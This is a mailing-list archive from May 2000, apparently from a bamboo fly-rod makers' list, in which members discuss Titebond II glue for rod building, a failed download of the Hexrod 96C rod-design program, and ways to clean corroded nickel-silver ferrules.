Burns from DNHayashida@aol.com Sun May 21 00:36:04 2000 Subject: Re: Titebond II glue I guess that rod is getting to be about 5 years old now. They didn't havetheslow set stuff back then. It is possible to glue up a rod with the regular TBII,but you have to be quick and you can't hesitate once you start. My father'srod has held up well, no problems yet.Darryl If I am not mistaken Sir Darryl built his father a rod made completelyfromTitebond II (not slow set?). My first rod( a nodeless) built ca. 3 yearsago was completely built with Titebond II (not slow set). I bound the rod well,but I admit to not using it much. from ernie2@pacbell.net Sun May 21 07:59:43 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: Re: hex96c.exe Thanks to all who responded to this post, the problem is the file on theRodmakers Webb Page. Jan Nystrom gave me a copy of hexrod98. ThanksJan.Ernie ----- Original Message ----- Subject: hex96c.exe When I try to run Waynes Hexrod 96C program from the DownloadableSoftwareprograms on the Rodmakers page I get the following message: The file"intern~3\hex.96c.exe" is not a valid MS-DOS program. What am I doingwrong?Ernie Harrison from nobler@satx.rr.com Sun May 21 08:16:18 2000 SMTPSVC(5.5.1877.357.35);Sun, 21 May 2000 08:17:25 -0500 Subject: Re: Cleaning Feurels The Tarn-X product won't completely clean all the gunk from N.S. ferrules,but it does give a good start. It only takes one dip or a swabbing with thissolution with a Q-Tip, to eliminate much of the green stuff, and otherstaining of most brass based items such as N.S.. GMA----- Original Message ----- Subject: Re: Cleaning Feurels In a message dated 5/20/00 8:16:13 PM Pacific Daylight Time,richjez@enteract.com writes: I just gotten an older rod with corroded nickle silver ferules. Anysuggestions on the best way to clean them?Rich Jezioro Rich, I start with blowing canned air (or air from an air hose if you've got acompressor) down into the females. You won't believe what has come outofsome of the ferrules I've worked on. Then I use Nevr-Dull metal polishing cotton wadding from an auto partsstoreto remove all the tarnish. If it's the nasty green stuff then break out the brasso or other brasscleaning liquids and a buffing wheel. As this point, think about bluingtheferrules or "japaning" them because you might have a rough potmarkedsurfacewhen finished. When finished, I apply a coating of U-40's ferrule lube per bottleinstructions. Don Burns from nobler@satx.rr.com Sun May 21 08:27:11 2000 SMTPSVC(5.5.1877.357.35);Sun, 21 May 2000 08:14:00 -0500 Subject: Re: Titebond II glue poly-u yet. It has a nice working time, sets fairly fast, and it's hard tosee any glue line. So far I've used it to re-glue separated and brokensections, in restoration, setting ferrules and reel seats, as well asrepairing cork grips. GMA----- Original Message ----- Subject: Re: Titebond II glue I guess that rod is getting to be about 5 years old now. They didn't havetheslow set stuff back then. It is possible to glue up a rod with the regularTBII,but you have to be quick and you can't hesitate once you start. Myfather'srod has held up well, no problems yet.Darryl If I am not mistaken Sir Darryl built his father a rod made completelyfromTitebond II (not slow set?). My first rod( a nodeless) built ca. 3yearsago was completely built with Titebond II (not slow set). I bound therod well,but I admit to not using it much. from bob@downandacross.com Sun May 21 08:56:18 2000 (envelope- from bob@downandacross.com) (envelope- from bob@downandacross.com)